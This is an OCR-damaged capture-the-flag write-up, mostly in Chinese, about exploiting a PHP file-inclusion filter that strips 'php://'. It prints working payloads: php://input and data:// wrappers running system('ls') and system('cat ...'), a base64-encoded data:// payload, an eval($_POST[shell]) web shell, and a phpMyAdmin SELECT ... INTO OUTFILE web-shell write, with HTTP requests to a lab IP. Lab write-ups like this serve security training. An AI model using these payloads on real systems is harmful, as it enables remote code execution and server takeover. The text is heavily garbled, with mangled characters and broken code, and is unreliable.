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<Tphp

show_source(_ FILE_ );

echo $_GET[ hello’];

$page=3_GET[ page ];

while (strstr($page, “php://”)) {
$page=str_replace("php://”, ", $page);

include(3page) ;
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& "Shanghai" 7£ "I love Shanghai!" fE— R, FHREZFERFRZD

<?php
echo strstr("I love Shanghai!","Shanghai");
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HEFE: ZRBRX S K/NER. EMEH str_ireplace() BEPITAX 3 K INEHHEE.
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B35 "Hello world!" FREY==7F "world" Zi&ak "Peter”:

<?php
echo str_replace("world","Peter","Hello world!");
?>
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FIH Php:/finput SRFATHIRRKE R R H postid )

FECTFH &% 13 F 2 php:/filterfphp://input

php://ffilter i i BXJERY, php://inputfl F 4T phpfRHg

php://input & Epostif K2 3 H 4

php://ffilterr] LAget$E 3z ?a=php://ffilter/read=convert.base64-encode/resource=xxx.php
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FIFH <?php system("Is"); ?> #4r "Is" &, ERLETH R, KRBT, FKiflagh) fldgisisish3r3.php

PHP: php:// - Manual

Request

o v B 0 =

1 GET /?page=Php://input HTTP/l.1l
2 Host: 111.200.241.244:55506
3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/S6.0.4E€4.45 Safari/537.36€

5 Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

€ Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9
3 Connection: close

S Funﬁcnﬁ—ncng\:h: 24

)

11 <«?php system("1s"); ?>

@@ (—”-)H Search...
Response

B row Hex Render [ 0 =
) i<br />
}<br />
include (
</span>
<span style="color: FO0000EB">
ipage
</span>
<span style="color: #007700">
);i<br />
</span>
<span style="color: #0000EB">
?&gt;<br />
</span>
</span>
13 </code>
fl4gisisish3r3.php
14 index.php
15 phpinfo.php

3. idcat w4, #£7F fldgisisish3r3.php
#H \<?php system("cat fl4gisisish3r3.php"); ?>
RIIKRE]T XL flag

flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"
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< C A =2 | 111.200.241.244:55506/?page=data://text/plain, < ?php%20eval($_POST[shell]);?>

<{Iphp

show_source(_ FILE_ ),

echo $_GET[ hello’];

$page=3_GET[ page’ ],

while (strstr(3page, “php://")) {
$page=str_replace("php://", “", 3$page);

include($page) ;
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data://text/plain, (¥ 3E)
data://text/plain;base64,xxx(base64 4wt J5 K% #E)
Data URI scheme (data: base64) th & FHE#E#& =X - Kbk 7 - %[ (cnblogs.com)
ZSJERIAMT (cnblogs.com)
FIH data:// G A php* *<?php system("Is"); ?>
HEPMHET R
1.1 data://text/plain, I X

FIF ?page=data://text/plain,<?php system("ls");?>

& @) @ 111.200.241.244:55506/?page=data://text/plain, < ?php system("ls");?>

<{7php

show_source(_ FILE )

echo $_GET[ hello ];

$page=3_GET[ page’ ]:

while (strstr($page, “php://“)) |

, $page=str_replace(“php://”, ““, 9$page);

include (3page)
7>
fldgisisish3r3.php index.php phpinfo.php
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1.2 BFH cat 4, 153 fldgisisish3r3.php

&« > O @ 111.200.241.244:55506/?page=data://text/plain, <?php%20system("cat fldgisisish3r3.php");?>

<{7php

show_source (__FILE_ );

echo $_GET[ hello’];

$page=3_GET[ page’];

while (strstr(Jpage, “php://")) |
Jpage=str_replace("php://", 7, $page);

include ($page) ;
EP

fl4gisisish3r3.php index.php phpinfo.php
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flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"
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{codes<span style= color: ®UUUUUU >

{span style="color: #0000BB”>&lt;?php<br />show_source</span>{span style="color: #007700”>({/span><{span styl
{/span>

{/code>{7php

$tlag="ctf {876a5fca-96ch-4chd-9075-46£0c89475d2) “;

Fos
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2.1data://text/plain;base64,xxx(base64 4w 5 Ja K EHE)
<?php system("cat fl4gisisish3r3.php");?>

fIbase64 PD9waHAgc3lzdGVIKCJjYXQgZmw0Z2IzaXNpc2gzcjMucGhwlik7Pz4=

{codes<span style= color: ®UUUUUU >

{span style="color: #0000BB”>&lt;?php<br />show_source</span>{span style="color: #007700”>({/span><{span styl
{/span>

{/code>{?php

$tlag="ctf {876a5fca-96ch-4chd-9075-46£0c89475d2) “;

Fos
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2.2 i\ ?page=data://text/plain;base64,PD9waHAgc3lzdGVIKCJjY XQgZmw0Z2lzaXNpc2gzciMucGhwlik7Pz4=

ﬂJJ_ZﬂﬂlAJ_Z]M; 55506/?page=data://text/plain;base64, PDIwaHAG | GM K (cliYs o
EEESES Bi7 *

2.3 fEPREIG RN AT B flag
flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

{code><{span style="color: #000000">

|

? <gpan style="color: #0000BB”>&lt:?php<br /»show source</span><{span style="color: #0077007> (/s
3 </spar>

1 </code><7php

5 $flag="ctf [876a5fca-96ch-4chbd-9075-46f0cR047542]

319
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H¥=, FIA data:// YR, GA—HiGEEAS
1.7/ dataty th il 15— 45K 5>

<?php eval($_POST[shell]);?>



& @ A =2 | 111.200.241.244:55506/?page=data://text/plain, < ?php%20eval($_POST[shell]);?>

<{Iphp

show_source(_ FILE_ ),

echo $_GET[ hello'];

$page=3_GET[ page’ ],

while (strstr(3page, “php://")) {
$page=str_replace("php://", “", 3$page);

include (3page) ;
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2.7 EE, WAURL FIE#S shell

™ (RIEFIE (http://111.200.241.244:55506/?page=data://text/plain,%3C... . O X

B#EF  xBET  OMEEE I
B EuRE v

URLItHE * http://111.200.241.244:55506/?page=data://text/plain,%3C?php%20eval
EEES ¢ shell

Plih & T

wERE UTF8 v

3 2a3ic PHP v

RS

() default (1)

O base64

O chr .
2 HkiER A
of HizH ; A,
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3. £ R 5] #6 B X1 B2 9 fldgisisish3r3.php

fl4gisisish3r3.php
[® index.php
@ phpinfo.php

4. 5 2 B n] #€ Fflag

L et

2019-04-14 04:21:25
2019-04-14 04:21:25
2019-04-14 04:21:25

60 b 0644
167 b 0644
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flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";

>
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TV FIf e & GA —H A S
1A B FHM G, REHE phpMyAdminF e, HHRHEW, 4K root

phpMyAdmin & —A~LAPHP R ZERE, PLWeb-Base7s FNEEHI7E M uh EHL_ERIMySQLE IR EE R TR, k&
& 7] FWeb#: O & B MySQLEHE FE .

9 8015 (BS7) BY: fIRIFIIR QQ:343034656 — X
grEmeEe | mEREEe 0 0 MERMIA 00 SWABER | osREEx
. . ' - = T FETeY 200 PHP.
WRGRESESE | REEHE G000 onE e %3x TE. Ex t_aﬁ ~ txt—{BA
NWSAMEIE | @t (E0 - BEER | gl o @l o s WY v
fELLEE: 1 PN SRR FEEE: o/ah
http A/111,200, 241, 244 10 m l'lT'l'PIFl[E
1 http://111.200. 241.244:56606/1ndex. php 200
2 http: //111.200. 241. 244 :55506 /phpinfo. phy 200
3 http: //111.200. 241. 244 : 55506 /phpmyadmin/db_create. php 200
4 http://111.200.241. 244 :56606/1ndex. php 200

R R

2HA G, AR EHTGA
A\ SHOW VARIABLES LIKE "secure_file_priv"

mysql> show global variables like "%secure%’;

Variable_name Value
require_secure_transport OFF

secure_auth ON
secure_file_priv Ivarllib/mysql-files/.
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secure_file privZ#iii#] xiaocao13140 51CTOE %
3B/ALERE, RIAVEAN, EA—HEKRY
BH B4R Value AT LB A

BREIFE

1289 SQL B EREIET

SHOW VARIABLES LIKE "secure_file_priv"

OE [%E8] [ 012 PHP {853 ] [ BEA ]

+ PETR
Variable_name Value

secure_file_priv

linwERINtmpR T E B 3 RIXEAN—/E S ST EE

# \select "<?php eval(@$_POST['flag); ?>"into outfile '/tmp/test.php’
select into outfileir &1 F ¥ 2 1 45 S AR A7 B — A SO o
EERERMsqENR, W Hinto outfile ik %52 5 A AL (baidu.com)

1269 SQL IEG EAIE{T ( Eif#R 0.0003 )

SELECT "<?php eval(@$_POST[flag]); ?>"
INTO OUTFILE ‘/tmp/test php’
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— 7EIB35% "localhost” i&f7 SQL &1l o

select "<?php eval(@$_POST['flag’]); ?>"into outfile '/tmp/test.php’

Heb linuxBRINmpR AT B B3 , AlE/tmp/text.phpfI B R TR AIB#H EZH—HIEAD,

| BE¥IE (0) < | O3k (2)
My OFHE » o LtE < R # FBF NPE Jemp/
+ I var P a8
iy [B testphp 2021-12-12 13:05:46
= bin
B boot [A testiphp 2021-12-12 13:18:30
= dev
. etc
= home
= b

& Ivar/www/ B 3 T ATk 3] fl4gisisish3r3.php
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> 2

ol B
32b 0666
32b 0666
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4.BiAr ke Elflag
flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

Svar/wwwiffldgisisish3r3.php

1 <?php

2 $flag="ctf{876a5fca-96c6-4chd-96075-46T0Cc89475d2}";
3 2>
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